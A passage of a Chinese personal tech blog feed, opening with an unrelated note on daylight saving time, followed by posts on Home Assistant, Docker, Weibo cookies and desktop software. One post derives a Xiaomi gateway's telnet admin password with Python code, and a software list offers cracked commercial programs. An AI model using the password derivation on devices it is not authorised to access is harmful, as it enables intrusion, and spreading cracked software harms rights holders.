1️⃣ 为什么会出现冬令时和夏令时？ 最初是由1973年的石油危机引发，当时的人们希望能够节约能源，更好地利用日光。德国自1980年起就开始实行时间变更。 6️⃣ 冬夏令时真的能节省能源吗？ 其实几年前欧洲就在讨论要取消冬夏令时了，因为事实证明这个方法其实并没有节省什么能源，反而还会造成各种麻烦。德国联邦议院研究委员会在2016年的一份报告中表示，德国每年夏季仅节省了约0.2%的电力。联邦环境局认为，由于节能灯的普及，这些节省量近年来有所减少。 8️⃣ 冬夏令时会废除吗？ 2018年7月4日至8月16日欧盟成员国约460万人参加了欧盟举行的网上问卷调查，高达84%的民众希望取消冬/夏令时的转换，而且大多数人都赞成持续使用夏令时。当年10月欧盟宣布顺应民意不再折腾，从2019年开始取消冬/夏令时的作息交替。当时多数成员国支持这一提议，但希望能有两年的缓冲时间来执行。但是，未来是使用正常的中欧时间（CET）或中欧夏令时间（CEST）作为废除后的标准时间还没决定，因此这个计划一拖再拖拖到了现在。

未接入小米网关3的155版本多模网关刷机简化步骤

七仔(Github) — Sat, 04 Nov 2023 15:50:17 GMT

未接入小米网关3的155版本多模网关刷机简化步骤

首先申明：

本发现仅对于现版本>=1.5.5且之前没有接入XiaomiGateway3的多模网关有用处

这个情况下只能拆机刷回旧版本，固件需要使用uart格式的，这个格式的固件只有1.4.7之前的，只能刷到这个版本然后再通过telnet刷到低于1.5.4的，关于拆机刷机教程可以参考小米多模网关降级接入homeassistant

我这个发现也还是得拆机，暂时只是能少点步骤而已

我是拆机后通过串口连接usb，前面还算顺利，但是当选择rtkboot_xxxxxx.bin后就会出问题，都进行不到下一步去刷固件，当然这个关于这个奇怪的问题可能只是我的个人情况

不过我发现了

在这一步中，输出的信息中出现了密码，通过一个函数可以将它转换成telnet的登陆密码，省去了刷到1.4.7这个步骤

通过这里的did、key、mac然后通过公式 base64(hmac_sha256(key, sha256(did+mac+key))) 就可以转换出登陆密码：

函数是我在XiaomiGateway3中找到的，抽取出来：

import base64
import hashlib
import hmac

def miio_password(did: str, mac: str, key: str) -> str:
    secret = hashlib.sha256(f"{did}{mac}{key}".encode()).hexdigest()
    dig = hmac.new(secret.encode(), msg=key.encode(), digestmod=hashlib.sha256).digest()
    return base64.b64encode(dig)[-16:].decode()

did="463977xxx"
mac="54:xx:44:3B:BD:2C"
key="UnOc0i6xxxxK8fraG"
print(miio_password(did, mac, key))

然后就可以5222222打开多模网关的telnet，然后用户名为admin，密码是上面计算出来的，成功登陆

至于后面的刷机可以参考小米多模网关固件1.5.5降级接入HA小白级

关于未登录状态下保持微博的cookies不失效

七仔(Github) — Tue, 07 Mar 2023 05:41:21 GMT

关于未登录状态下保持微博的cookies不失效

前言

我这里只需要定时获取微博热搜信息，不需要登录状态即可获取到，但是不登录cookies也会失效，所以对cookies做了简单处理，记录一下

修改部分

从浏览器拿到cookies以后，里面的SUB、SUBP、_s_tentry应该是由机器或者浏览器的部分数据生产的，我试了几次没有改变，不用管，然后sina_global、apache、ulv三个参数是由随机数和当前时间戳和旧时间戳组成的，具体看我下面的代码

代码

import time
import random


# 当前时间戳
now_timestamp = int(time.time() * 1000)
sina_global = str(int(random.random() * 10000000000000)) + "." + str(int(random.random() * 10000)) \
              + "." + str(now_timestamp - 14 - 1072340 - 6)
apache = str(int(random.random() * 10000000000000)) + "." + str(int(random.random() * 10000)) \
         + "." + str(now_timestamp - 14)
ulv = str(now_timestamp) + ":2:2:2:" \
      + str(int(random.random() * 10000000000000)) + "." + str(int(random.random() * 10000)) \
      + "." + str(now_timestamp - 14) \
      + ":" + str(now_timestamp - 14 - 1072340)
cookie_result = 'SUB=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX; ' + \
                'SUBP=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX; ' + \
                'SINAGLOBAL=' + sina_global + '; _s_tentry=-; ' + \
                'Apache=' + apache + '; ' + \
                'ULV=' + ulv
print(cookie_result)

常用桌面软件

七仔(Github) — Thu, 23 Feb 2023 06:37:22 GMT

常用桌面软件

推荐的是稍微冷门点的工具，主要宗旨就是软件尽量少广告，没标下载的可以下方留邮箱说明你要哪个

灵卡面板

Windows桌面端软件，摸鱼办公神器

拥有多种卡片自定义布局，隐藏到侧边需要使用时弹出(可以鼠标或快捷键唤出)

主卡片包含：快捷键截图OCR翻译、AI对话、待办事项、热搜、音乐、小说等功能
小卡片包含：LCD时钟、日历、天气、喝水记录、今天吃什么、电子木鱼、倒数日、圆盘时钟、英语单词、自定义图片、工作日、灵感提示词、时间进度条、搜索、古诗词、电脑监控、答案之书、一言等多种卡片，且在持续增加中。。。
近期工具箱模块新增：这班值不值得上、中国家庭称谓计算器、笔记本电池健康曲线、中国房贷计算器、BMI计算器等功能

官网：https://www.agiletiles.com/

思源笔记

开源的笔记软件，推荐docker部署，然后定期备份

里面基本所有能用到的工具都有了markdown，drawio，Excalidraw，脑图，IFrame，还能通过插件直接发布到博客园什么的

源码: https://gitee.com/siyuan-note/siyuan

dockerhub: https://hub.docker.com/r/b3log/siyuan

搜索和工具：uTools + everything

everyting是个搜索文件极其快的工具，奈何颜值不高，高颜值的utools可以调用前者进行搜索，另外uTools本身也有很多工具，插件市场里面很多说不完，靠你自己搜索了

用的时候没广告

utools地址: https://www.u.tools/

桌面壁纸：Wallpaper Engine

没的说，动态桌面yyds，配合创意工坊无敌

下载：在steam中购买

全局截图识别翻译：天若ocr

全局进行截图识别翻译什么的，可以花59买个终身版，我是以前买的，忘了买的时候多少钱了

地址: http://ocr.tianruo.net/

剪贴板软件：Ditto

剪贴板，可以设置永久存剪贴板记录，Ctrl+`即可调出，还有个CopyQ也不错（其实uTools有个挺好的剪贴板工具，颜值也高，但是要付费）

可以直接在微软应用商店安装

可以从github处安装: https://github.com/sabrogden/Ditto

任务栏监控软件：TrafficMonitor和XMeters

TrafficMonitor支持Win10和Win11，其实还有个XMeters更好看但是不支持win11

TrafficMonitor的 github源码: https://github.com/zhongyang219/TrafficMonitor

TrafficMonitor的 gitee源码: https://gitee.com/zhongyang219/TrafficMonitor

XMeters：https://entropy6.com/xmeters/download/

音乐播放器：foobar2000

专业的开源音乐播放器，附带专辑的各种操作，不过需要本地存音乐，可以装各种好看的皮肤主题，对我来说最重要的是没广告，我自用的是1.5.1，想要皮肤的在下方留下邮箱

官网: https://www.foobar2000.org/

v1.5.1下载地址: https://www.foobar2000.org/getfile/foobar2000_v1.5.1.exe

LX Music(洛雪音乐)

多端开源音乐播放器，而且可以使用网易、酷狗、酷我、腾讯的源，无损也可以直接拉过来，然后可以自建播放列表还可以建立一个服务器，然后其他使用客户端模式来做同步修改，类似账号的功能获取源我看到还可以加载js脚本来跑，所以理论上这个播放器可以永久存在，出了问题可以及时换js脚本来换源

官网:https://lxmusic.toside.cn/

搭配六音源使用:https://github.com/OneCodeMonkey/music-sources

网易邮箱大师

对所有邮箱统一接收，qq 微软企业邮箱什么的都可以

这个有广告，但是比较少还算能接收，主要也没找到别的能替代的（这个稍微漂亮点）

地址: https://dashi.163.com/

远程连接：MobaXterm

ssh ftp telnet rdp shell 各种远程连接，免费版支持11个连接

地址: https://mobaxterm.mobatek.net/

Jetbrains程序批量管理：Toolbox App

jetbrains程序批量管理的

地址: https://www.jetbrains.com/toolbox-app/

快速预览：QuickLook

按空格快速查看图片文档表格视频什么的

源码和下载: https://github.com/QL-Win/QuickLook

视频播放器：PotPlayer

强大的开源视频播放器，也能播放ts或者在线视频流

地址: http://potplayer.tv/

网盘挂载：AirLiveDrive

磁盘挂载软件，同类型的有NetDrive和RaiDrive，但是AriLiveDrive没有广告（RaiDrive有）而且可以后台启动（NetDrive为前台）

地址: https://www.airlivedrive.com/en/

蓝奏云盘三方客户端

源码和下载：https://github.com/chenhb23/lanzouyun-disk

相对官网功能更强大

打通多台电脑：Mouse without Borders

微软无界鼠标，多台win电脑摆在一起，然后可以基本无延时的进行鼠标穿梭，并且可以带上键盘，而且可以进行文件传输 (仅限win电脑之间)

下载: https://www.microsoft.com/en-us/download/details.aspx?id=35460

程序员的瑞士军刀：DevToys

1.微软商店（微软商店可直接下载）：https://www.microsoft.com/store/productId/9PGCV4V3BK4W

2.GitHub（开源地址）：https://github.com/veler/DevToys

3.软件官网（支持官网下载）：https://devtoys.app/

RSS阅读器：Fluent Reader

这里放一些RSS订阅源，如果是用Discuz****构建的论坛，在后面加?mod=rss就可以了

另外有个聚合的hub: https://docs.rsshub.app/

七仔的博客(夹杂私货嘿嘿):
https://www.baby7blog.com/feed
美团技术团队:
https://tech.meituan.com/feed/
Chiphell:
https://www.chiphell.com/forum.php?mod=rss
恩山无线论坛:
https://www.right.com.cn/forum/?mod=rss
瀚思彼岸论坛:
https://bbs.hassbian.com/forum.php?mod=rss
小众软件:
https://feeds.appinn.com/appinns/
奇客:
https://www.solidot.org/index.rss
少数派:
https://sspai.com/feed
技术小黑屋:
https://droidyue.com/atom.xml
果壳网:
http://newzone.top/rss.php?type=guokr
知乎每日精选:
http://www.zhihu.com/rss
机核:
https://www.gcores.com/rss
游研社:
http://www.yystv.cn/rss/feed
果核剥壳:
https://www.ghxi.com/feed
36氪:
https://36kr.com/feed
豆瓣最受欢迎的书评:
https://www.douban.com/feed/review/book
潮流周刊:
https://weekly.tw93.fun/rss.xml
月光博客:
https://www.williamlong.info/rss.xml
博客园:
https://feed.cnblogs.com/blog/sitehome/rss

下载: https://apps.microsoft.com/store/detail/fluent-%E9%98%85%E8%AF%BB%E5%99%A8/9P71FC94LRH8?hl=zh-cn&gl=cn

其他小工具

五福扫福集福（吾爱 by ouding：https://www.52pojie.cn/thread-1734686-1-1.html）

扭蛋机（吾爱 by 天真.：https://www.52pojie.cn/thread-1625119-1-1.html）

生成山水画（github：https://github.com/LingDong-/shan-shui-inf 在线体验：http://shan-shui-inf.lingdong.works/）

Bongo Cat （就是直播经常能看到的按键盘的小猫源码和下载: https://github.com/kuroni/bongocat-osu）

网易ncm转flac（网易下载的部分音乐是ncm格式，不能直接用别的播放，这个工具可以转换成flac或者mp3（根据音乐质量自动选择））

弹幕视频播放器（存了我还没用过，好像是根据视频搜索弹幕）

Git动画录制（录屏一块区域，最后出来gif）

SpaceSniffer（磁盘空间分析）

SoftCnKiller（流氓软件查杀）

LogoDiy（设置开机Logo）

Dism++（系统优化，垃圾清理）

电脑照片查重工具

Wifi密码查看器

破解小工具

需要的留下邮箱

Bandizip v7.20 （压缩软件）
XMind 2021 v11.1.0 （思维导图）
Swf2video pro（swf转视频）
MobaXterm v22.1 （远程连接）
Navicat v15 （数据库连接）

基于Docker安装的Stable Diffusion使用CPU进行AI绘画

七仔(Github) — Fri, 21 Oct 2022 08:40:10 GMT

基于Docker安装的Stable Diffusion使用CPU进行AI绘画

由于博主的电脑是为了敲代码考虑买的，所以专门买的高U低显，i9配核显，用Stable Diffusion进行AI绘画的话倒是专门有个CPU模式，不过安装过程经历了许多坎坷，特此记录一下
博主的环境是Windows 11附带的WSL2中安装的Ubuntu 20.04 LTS,安装的Stable Diffusion Docker版本为2.1.0

安装条件

安装Docker
安装DockerCompose
会Docker（博主说的比较粗略，不建议没有docker经验的按本博客进行）

一、下载代码

地址：https://github.com/AbdBarho/stable-diffusion-webui-docker/archive/refs/tags/2.1.0.zip

解压到你需要的路径

二、修改路径

wsl2对应windows的路径如: D:/soft --> /mnt/d/soft

在你上个解压的文件里面的docker-compose.yml中更改路径

例如build: ./services/download/

改为

build: /mnt/d/wsl/stable-diffusion-webui/stable-diffusion-webui-docker-2.1.0/services/download/

三、构建下载

命令为

docker compose --profile download up --build

四、构建镜像

主要的坑也是这里了，需要修改service/AUTOMATIC1111/Dockerfile，修改为下方代码

博主删除了不必要的xformers(必须要google drive，而且开了代理也不行,cpu模式不需要这个东西)，然后对git加了代理，然后修改了git的配置

# syntax=docker/dockerfile:1

FROM alpine/git:2.36.2 as download

SHELL ["/bin/sh", "-ceuxo", "pipefail"]

RUN git config --global http.version HTTP/1.1

RUN git config --global http.postBuffer 524288000
RUN git config --global https.postBuffer 524288000
RUN git config --global core.compression -1

RUN git clone https://github.91chi.fun/https://github.com/salesforce/BLIP.git repositories/BLIP && cd repositories/BLIP && git reset --hard 48211a1594f1321b00f14c9f7a5b4813144b2fb9

RUN git clone https://github.91chi.fun/https://github.com/sczhou/CodeFormer.git repositories/CodeFormer && cd repositories/CodeFormer && git reset --hard c5b4593074ba6214284d6acd5f1719b6c5d739af

RUN git clone https://github.91chi.fun/https://github.com/CompVis/stable-diffusion.git repositories/stable-diffusion && cd repositories/stable-diffusion && git reset --hard 69ae4b35e0a0f6ee1af8bb9a5d0016ccb27e36dc


RUN <<EOF
# because taming-transformers is huge
git config --global http.postBuffer 1048576000
git clone https://github.91chi.fun/https://github.com/CompVis/taming-transformers.git repositories/taming-transformers
cd repositories/taming-transformers
git reset --hard 24268930bf1dce879235a7fddd0b2355b84d7ea6
rm -rf data assets
EOF

RUN git clone https://github.91chi.fun/https://github.com/crowsonkb/k-diffusion.git repositories/k-diffusion && cd repositories/k-diffusion && git reset --hard f4e99857772fc3a126ba886aadf795a332774878

FROM python:3.10-slim

SHELL ["/bin/bash", "-ceuxo", "pipefail"]

ENV DEBIAN_FRONTEND=noninteractive PIP_PREFER_BINARY=1 PIP_NO_CACHE_DIR=1

RUN pip install torch==1.12.1+cu113 torchvision==0.13.1+cu113 --extra-index-url https://download.pytorch.org/whl/cu113

RUN apt-get update && apt install fonts-dejavu-core rsync git -y && apt-get clean


RUN <<EOF
git clone https://github.91chi.fun/https://github.com/AUTOMATIC1111/stable-diffusion-webui.git
cd stable-diffusion-webui
git reset --hard 1eb588cbf19924333b88beaa1ac0041904966640
pip install -r requirements_versions.txt
EOF

ENV ROOT=/stable-diffusion-webui \
  WORKDIR=/stable-diffusion-webui/repositories/stable-diffusion


COPY --from=download /git/ ${ROOT}
RUN pip install --prefer-binary --no-cache-dir -r ${ROOT}/repositories/CodeFormer/requirements.txt

# TODO: move to top
RUN apt-get install jq moreutils -y


# Note: don't update the sha of previous versions because the install will take forever
# instead, update the repo state in a later step

ARG SHA=36a0ba357ab0742c3c4a28437b68fb29a235afbe
RUN <<EOF
cd stable-diffusion-webui
git pull --rebase
git reset --hard ${SHA}
pip install --prefer-binary --no-cache-dir -r requirements_versions.txt
EOF

RUN pip install --prefer-binary --no-cache-dir opencv-python-headless \
  git+https://github.91chi.fun/https://github.com/TencentARC/GFPGAN.git@8d2447a2d918f8eba5a4a01463fd48e45126a379 \
  git+https://github.91chi.fun/https://github.com/openai/CLIP.git@d50d76daa670286dd6cacf3bcd80b5e4823fc8e1 \
  pyngrok

COPY . /docker
RUN <<EOF
chmod +x /docker/mount.sh && python3 /docker/info.py ${ROOT}/modules/ui.py
EOF


ENV CLI_ARGS=""
WORKDIR ${WORKDIR}
EXPOSE 7860
# run, -u to not buffer stdout / stderr
CMD /docker/mount.sh && \
  python3 -u ../../webui.py --listen --port 7860 --ckpt-dir ${ROOT}/models/Stable-diffusion ${CLI_ARGS}

修改以后运行

docker compose --profile auto-cpu up --build

结果

放下测试的结果（一个奇奇怪怪的小猫）

HomeAssistant的阿里云域名DDNS插件

七仔(Github) — Thu, 20 Oct 2022 08:20:45 GMT

HomeAssistant的阿里云域名DDNS插件

HomeAssistant的阿里云域名DDNS插件，仅用于阿里云的域名解析，在公网改变后自动修改域名DNS

插件代码已开源，地址：https://github.com/baby7/ha_auto_ali_dns

配置文件格式：

sensor:
  - platform: ha_auto_ali_dns
    access_key_id: xxxxxxxxxxxxx
    access_key_secret: xxxxxxxxxxxxxxxx
    record_id: xxxxxxxxxxxxx
    type: A
    rr: xxxxxx

核心代码

"""
Support for ha auto ali dns
# Author:
    baby7
# Created:
    2021-11-23
"""
import sys
import logging
from homeassistant.const import (CONF_NAME)
from homeassistant.helpers.entity import Entity
import homeassistant.helpers.config_validation as cv
import voluptuous as vol
from homeassistant.components.sensor import PLATFORM_SCHEMA
import requests
from .alidns import AliDNS

_Log = logging.getLogger(__name__)

DEFAULT_NAME = 'ha_auto_ali_dns'
ACCESS_KEY_ID = 'access_key_id'
ACCESS_KEY_SECRET = 'access_key_secret'
RECOED_ID = 'record_id'
TYPE = 'type'
RR = 'rr'

PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({
    vol.Required(ACCESS_KEY_ID): cv.string,
    vol.Required(ACCESS_KEY_SECRET): cv.string,
    vol.Required(RECOED_ID): cv.string,
    vol.Required(TYPE): cv.string,
    vol.Required(RR): cv.string,
    vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,
})


def setup_platform(hass, config, add_devices, discovery_info=None):
    access_key_id = config.get(ACCESS_KEY_ID)
    access_key_secret = config.get(ACCESS_KEY_SECRET)
    record_id = config.get(RECOED_ID)
    type = config.get(TYPE)
    rr = config.get(RR)
    sensor_name = config.get(CONF_NAME)
    add_devices([AutoAliDNS("ali_dns_" + sensor_name, access_key_id, access_key_secret, record_id, type, rr)])


def get_ip(i):
    try:
        ip_url = ""
        if i == 1:
            ip_url = "https://api.ipify.org"
        elif i == 2:
            ip_url = "https://api.ip.sb/ip"
        elif i == 3:
            ip_url = "http://ip.3322.net"
        elif i == 4:
            ip_url = "http://ip.qaros.com"
        elif i == 5:
            ip_url = "http://ident.me"
        else:
            ip_url = "http://icanhazip.com"
        return str(requests.get(url=ip_url, timeout=3).text).replace("\n", "").replace("\r", "")
    except requests.exceptions.RequestException as e:
        print(e)
    return None


class AutoAliDNS(Entity):

    .........

    def update(self):
        self.index += 1
        if self.index == 7:
            self.index = 1
        public_ip = get_ip(self.index)
        if public_ip is None or len(public_ip) > 15:
            print("获取公网IP超时或失败,等待下次重试")
            return
        self._state = public_ip
        try:
            dns_ip = AliDNS.get_dns_info(self.access_key_id, self.access_key_secret, self.record_id)
            if public_ip != dns_ip:
                AliDNS.main(self.access_key_id, self.access_key_secret, self.record_id, public_ip, self.type, self.rr)
                print("成功修改解析，记录为的" + self.record_id + "域名解析从" + str(dns_ip) + "修改为" + str(public_ip))
        except ConnectionError:
            print("记录为的" + self.record_id + "域名解析连接错误...")
        except:
            _Log.error("记录为的" + self.record_id + "域名解析发生为止错误...:", sys.exc_info()[0])
        finally:
            self._state = public_ip

企业微信应用每天60秒读懂世界

七仔(Github) — Thu, 20 Oct 2022 07:36:56 GMT

企业微信应用每天60秒读懂世界

一个简单的python3脚本，可以在服务用crond执行，或者使用宝塔面板做定时，执行一次发送一个每天60秒读懂世界的图片
需要企业微信，然后新建应用，获取到corpid(企业ID)、agentid(企业应用ID)、corpsecret(应用的凭证密钥)
脚本基于运小站的每天60秒读懂世界API，链接:http://bjb.yunwj.top/php/api/html.html
如果因为该API失效导致脚本不可再用，我会第一时间修复，需要使用脚本的可以收藏我的博客地址或者添加我的微信或qq

脚本内容如下:

import logging
import requests
import json
import time


# http://bjb.yunwj.top/php/api/html.html  # 接口文档地址
class CompanyWeixin:
    __corp_id = 'xxxxxx'  # 企业ID
    __agent_id = 100001 # 企业应用ID（自己创建企业应用的ID）
    __corp_secret = 'xxxxxxxxxxxx'  # 应用的凭证密钥，此处应用（企业自己创建的应用）：消息推送
    __access_token = ''  # 访问应用的临时凭证
    __expires_in = 0  # 访问应用的临时凭证的有效时间（秒）

    headers = {
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
        'Cache-Control': 'no-cache',
        'Connection': 'keep-alive',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'Pragma': 'no-cache',
        'User-Agent': 'self-defind-user-agent',
        'Cookie': 'name=self-define-cookies-in header',
        'X-Requested-With': 'XMLHttpRequest'
    }

    @staticmethod
    def send_post(url: str, json_data: dict):
        try:
            res = requests.post(url=url, data=json.dumps(json_data), headers=CompanyWeixin.headers)
            return json.loads(res.content.decode("utf-8").encode("utf-8"))
        except Exception as e:
            logging.info('[send_get]Failed to json.load, {0}'.format(e))
            return {}

    @staticmethod
    def send_get(url: str):
        try:
            res = requests.get(url=url)
            return json.loads(res.content.decode("utf-8").encode("utf-8"))
        except Exception as e:
            logging.info('[send_get]Failed to json.load, {0}'.format(e))
            return {}

    def get_access_token(self):
        url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid={0}&corpsecret={1}'. \
            format(CompanyWeixin.__corp_id, CompanyWeixin.__corp_secret)
        result = CompanyWeixin.send_get(url)
        self.__access_token = result['access_token']
        return result

    def upload_file(self, file_name):
        try:
            url = 'https://qyapi.weixin.qq.com/cgi-bin/media/upload?access_token={0}&type=image'. \
                format(self.__access_token)
            files = {"pic": (file_name, open(file_name, "rb"), "images/jpg")}
            return requests.post(url=url, files=files).json()
        except Exception as e:
            logging.info('[send_get]Failed to json.load, {0}'.format(e))
            return {}

    def send_img(self, media_id, touser: str = '@all'):
        url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token={0}'. \
            format(self.__access_token)
        data = {
            "touser": touser,
            "msgtype": "image",
            "agentid": CompanyWeixin.__agent_id,
            "image": {
                "media_id": media_id
            },
            "enable_id_trans": 0,
            "enable_duplicate_check": 0,
            "duplicate_check_interval": 1800
        }
        return CompanyWeixin.send_post(url, data)


def download_img(new_file_name):
    tp1 = requests.get('http://bjb.yunwj.top/php/tp/lj.php').json()['tp1']
    img = requests.get(url=tp1).content
    with open(new_file_name, 'wb') as tmp:
        tmp.write(img)


today_str = time.strftime("%Y-%m-%d", time.localtime())
file_name = today_str + '.jpg'
download_img(file_name)
weixin = CompanyWeixin()
weixin.get_access_token()
img_msg = weixin.upload_file(file_name)
img_msg_media_id = img_msg['media_id']
weixin.send_img(img_msg_media_id)

Windows喝水记录工具v2.0

七仔(Github) — Tue, 11 Oct 2022 01:52:50 GMT

Windows喝水记录工具v2.0

作者以前基本不喝水，后面体检出来身体出现了一些问题（肾结晶什么的），多喝水可以减轻甚至痊愈，由于没有喝水的习惯怕喝多或者喝少，所以做了这个桌面小工具，喝一杯记录一下，每天八杯水养成好习惯

代码开源地址: https://github.com/baby7/drinking

v2.0版本网盘地址：https://pan.baidu.com/s/12if96zMUWTC8dCbZVAAVOQ

提取码：baby

主界面

主界面展示当天喝水数量，左下角点击加一杯，右下角点击当天喝水清零

主界面两种展示方式

今天第x杯水
还有x杯水

主页面和托盘页右键可以拉出菜单

设置页面

可以设置喝水提醒的时间段，然后每隔多长时间提醒一次(每喝一杯水会重新计时)，设置为0则不进行提醒

可以设置每天喝水的数量

窗口有三种展示方式正常、置顶和置底

确定后需要在主界面或托盘右键 -> 刷新设置，不然不会生效

喝水记录

就是个表格，记录历史喝水记录

通知

通知以win10右下角通知的形式展现

下版本

预计喝水记录会加个折线图什么的

通知的话应该会加上企业微信的通知推送

主页面会增加【云母、半透明、亚克力】【浅色、深色】【圆角、方角】的选择，现在是固定浅色方角亚克力

现存问题

主页面上方大概1/4处不能右键拉出菜单

历史版本

v1.1

该版本只有主界面，只能点左下角加一杯，右下角清零

下载

v1.1版本网盘地址: https://pan.baidu.com/s/1enKHopF_Mi2Ij4rM__j0Ww

v2.0版本网盘地址：https://pan.baidu.com/s/12if96zMUWTC8dCbZVAAVOQ

提取码：baby

SpringCloud远程连接Eureka并使用@FeignClient

七仔(Github) — Wed, 18 May 2022 06:28:07 GMT

SpringCloud远程连接Eureka并使用@FeignClient

记录一下

一、修改配置文件

首先需要修改配置，需要复制云端的配置文件合并到本地，然后修复爆红的重复上级的问题

然后修改内网的mysql、redis等内网地址为公网地址

删除spring.cloud.config内容

修改mysql、redis、连接eureka的内网地址为公网地址

如果需要不影响之前的服务，需要修改spring.application.name和eureka.instance.appname跟之前的不一样，这样别的服务就不会调用自己

二、修改@FeignClient

修改为类似下方的格式

@FeignClient(name = "xxxxx", url = "http://xxx.xxx.xxx.xxx:8801")

name无所谓，url需要改为公网ip加服务的端口

使用Github Action通过Dockerhub持续构建部署服务

七仔(Github) — Tue, 10 May 2022 03:11:01 GMT

使用Github Action通过Dockerhub持续构建部署服务

提示

记录一下自己配置的Github Action，仅限于使用DockerCompose部署的项目，如果不是需要自己修改

配置敏感信息

需要在项目——>Settings——>Secrets——>Actions添加下列敏感信息:

配置文件

然后在项目的.github/workflows添加gradle.yml，内容如下

name: Java CI with Gradle

on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

jobs:
  build:

    runs-on: ubuntu-latest

    steps:
    
    # 把仓库代码拉到 ubuntu 镜像上
    - uses: actions/checkout@v2

    # 指定 java 版本
    - name: Set up JDK 1.8
      uses: actions/setup-java@v1
      with:
          java-version: 1.8

    # 给 gradle 赋予可运行权限
    - name: Grant execute permission for gradlew
      run: chmod +x gradlew

    # 通过 gradle 打包我们的项目
    - name: Build with gradle
      run: ./gradlew build

    # 通过 Dockerfile 构建镜像
    - name: Build Docker Image
      run: docker build . --file Dockerfile --tag ${{ secrets.IMAGE_NAME }}:$(date +%s)
    - name: Publish to Docker Repository
      uses: elgohr/Publish-Docker-Github-Action@master
      with:
        name: ${{ secrets.IMAGE_NAME }}:latest
        username: ${{ secrets.DOCKER_USERNAME }}
        password: ${{ secrets.DOCKER_PASSWORD }}
  pull-docker:
    needs: [build]
    name: Pull Docker
    runs-on: ubuntu-latest
    steps:
      - name: Deploy
        uses: appleboy/ssh-action@master
        with:
          host: ${{ secrets.SERVER_HOST }}
          username: ${{ secrets.SERVER_USER }}
          password: ${{ secrets.SERVER_PWD }}
          port: ${{ secrets.SERVER_PORT }}
          script: |
            docker pull ${{ secrets.IMAGE_NAME }}
            docker-compose up -d --build

各种新版IDEA出现的新东西和隐藏方法

七仔(Github) — Thu, 05 May 2022 02:38:38 GMT

各种新版IDEA出现的新东西和隐藏方法【不定期更新】

这人呐，用惯了老的就不习惯新的

一、隐藏出现在方法和属性前面的usages和作者名

打开setting，然后看下图的步骤，取消勾选那几个然后点击ok刷新下就好了

二、回到老版本的版本提交

打开setting，看下图，取消勾选【Use non-modal commit interface】即可

威联通Plex设置Https

七仔(Github) — Tue, 03 May 2022 00:54:24 GMT

威联通Plex设置Https

首先需要有域名，然后下载Tomcat类型的证书

连接ssh，打开路径【/share/CACHEDEV1_DATA/.qpkg/PlexMediaServer/Resources/】，放入证书中的***.pfx文件，权限不够的话就放到别的文件夹用命令复制过来，需要注意的是其中的CACHEDEV1_DATA为你Plex安装的盘符

然后在下方的【Custom certificate location/自定义证书位置】填入上方的路径加上.pfx文件名称

【Secure connections】选择【Prefered/优先】

然后在【Custom certificate ***/自定义证书加密密钥】填入证书里的txt文件的内容

然后填入带https的plex访问地址

重要：需要重启Plex

【python小工具】Json转MySQL建表语句

七仔(Github) — Tue, 15 Feb 2022 08:56:29 GMT

【python小工具】Json转MySQL建表语句

前因

工作需要将neo4j部分表转换为MySQL，所以做了这个小工具，使用前最好通读代码扩展：如果有需要可以修改代码直接连接数据库直接执行新建数据库

源码

import json
from tkinter import *
from tkinter import messagebox
import win32con
import win32clipboard
import re


# 添加剪贴板
def set_text(string):
    win32clipboard.OpenClipboard()
    win32clipboard.EmptyClipboard()
    win32clipboard.SetClipboardData(win32con.CF_UNICODETEXT, string)
    win32clipboard.CloseClipboard()


# 转下划线命名
def to_snake_case(x):
    return re.sub('(?<=[a-z])[A-Z]|(?<!^)[A-Z](?=[a-z])', '_\g<0>', x).lower()


# 建立对话框
root = Tk()
root.title("Json转MySQL建表语句")
root.geometry('300x150')
l1 = Label(root, text="表名：")
l1.pack()
v_json_title = StringVar()
title = Entry(root, textvariable=v_json_title)
v_json_title.set("")
title.pack()
l2 = Label(root, text="Json：")
l2.pack()
v_json_str = StringVar()
sstr = Entry(root, textvariable=v_json_str)
v_json_str.set("")
sstr.pack()


# 点击事件
def on_click():
    json_title = v_json_title.get()
    json_str = v_json_str.get()
    # 读取json
    data = json.loads(json_str)
    # 构建sql
    sql = "CREATE TABLE `" + json_title + "`  (\n  `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT 'ID',\n" \
          "  `parent_id` bigint(20) NOT NULL COMMENT '父ID',\n"
    for item in data:
        # 整数类型
        if isinstance(data[item], int):
            if len(str(data[item])) < 15:
                sql += "  `" + to_snake_case(item) + "` bigint(20) NULL DEFAULT NULL,\n"
            elif len(str(data[item])) >= 15:
                sql += "  `" + to_snake_case(item) + "` bigint(" + str(len(str(data[item])) * 2) + ") NULL DEFAULT NULL,\n"
        # 字符串类型
        elif isinstance(data[item], str):
            if len(data[item]) < 50:
                sql += "  `" + to_snake_case(item) + "` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,\n"
            elif 50 <= len(data[item]) < 200:
                sql += "  `" + to_snake_case(item) + "` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,\n"
            elif len(data[item]) >= 200:
                sql += "  `" + to_snake_case(item) + "` varchar(" + str(
                    len(data[item]) * 2) + ") CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,\n"
        # 浮点类型
        elif isinstance(data[item], float):
            sql += "  `" + to_snake_case(item) + "` decimal(15,3) NULL DEFAULT NULL,\n"
        # 布尔类型
        elif isinstance(data[item], float):
            sql += "  `" + to_snake_case(item) + "` bigint(1) NULL DEFAULT NULL,\n"
        else:
            print(data[item])
    sql += "  PRIMARY KEY (`id`) USING BTREE\n" \
           ") ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;"
    set_text(sql)
    messagebox.showinfo(title='处理成功', message="数据已经添加进剪贴板")
    print(sql)


Button(root, text="转换", command=on_click).pack()
